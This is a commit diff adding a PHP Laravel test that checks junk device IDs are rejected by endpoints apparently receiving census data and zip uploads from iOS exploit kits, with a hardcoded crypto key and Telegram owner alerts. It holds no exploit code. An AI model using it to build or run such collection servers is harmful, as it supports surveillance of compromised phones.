feat: interept
This commit is contained in:
@@ -0,0 +1,97 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Services\CorunaCrypto;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class RejectUnknownDeviceKeyTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
private const JUNK_LONG = 'CEFCAEEAEFADCDFAEC238552151148443485EF922FAAFCDEAECDECDECEDCE018';
|
||||
|
||||
private const JUNK_SHORT = '46BE1';
|
||||
|
||||
protected function setUp(): void
|
||||
{
|
||||
parent::setUp();
|
||||
config([
|
||||
'coruna.telegram.bot_token' => 'tg-token',
|
||||
'coruna.telegram.owner_chat_id' => '10001',
|
||||
]);
|
||||
Http::fake([
|
||||
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||
'*' => Http::response(['ok' => true], 200),
|
||||
]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function xxbb_profile_drops_junk_device_ids(): void
|
||||
{
|
||||
$this->xxbbPost('/a', [
|
||||
'd' => self::JUNK_LONG,
|
||||
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
|
||||
])->assertOk()->assertSee('1786468227899{}', false);
|
||||
|
||||
$this->xxbbPost('/a', [
|
||||
'd' => self::JUNK_SHORT,
|
||||
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
|
||||
])->assertOk();
|
||||
|
||||
$this->assertSame(0, Device::query()->count());
|
||||
Http::assertNotSent(fn ($request) => str_contains($request->url(), 'api.telegram.org'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function darksword_census_drops_junk_device_ids(): void
|
||||
{
|
||||
$this->postJson('/a', [
|
||||
'lhu' => self::JUNK_LONG,
|
||||
'machine' => 'iPhone15,2',
|
||||
'ios_version' => '18.6',
|
||||
])->assertOk();
|
||||
|
||||
$this->postJson('/a', [
|
||||
'lhu' => self::JUNK_SHORT,
|
||||
'machine' => 'iPhone15,2',
|
||||
'ios_version' => '18.6',
|
||||
])->assertOk();
|
||||
|
||||
$this->assertSame(0, Device::query()->count());
|
||||
Http::assertNotSent(fn ($request) => str_contains($request->url(), 'api.telegram.org'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function app_register_drops_junk_device_ids(): void
|
||||
{
|
||||
$this->postJson('/api/v2/devices', [
|
||||
'deviceId' => self::JUNK_LONG,
|
||||
'hardwareModel' => 'iPhone15,2',
|
||||
'iosVersion' => '18.6',
|
||||
])->assertOk();
|
||||
|
||||
$this->call('POST', '/api/ap/u?a=chan1¬es.zip', [], [], [], [
|
||||
'HTTP_X_DEVICE_ID' => self::JUNK_SHORT,
|
||||
'HTTP_X_IOS_VERSION' => '18.6',
|
||||
'CONTENT_TYPE' => 'application/octet-stream',
|
||||
], 'not-a-real-zip')->assertOk()->assertJson(['ok' => true, 'bind' => false]);
|
||||
|
||||
$this->assertSame(0, Device::query()->count());
|
||||
Http::assertNotSent(fn ($request) => str_contains($request->url(), 'api.telegram.org'));
|
||||
}
|
||||
|
||||
private function xxbbPost(string $path, array $payload, string $ts = '1786468227899')
|
||||
{
|
||||
$enc = (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson($payload, $ts);
|
||||
|
||||
return $this->call('POST', $path, [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_X_TS' => $ts,
|
||||
], $enc['body']);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user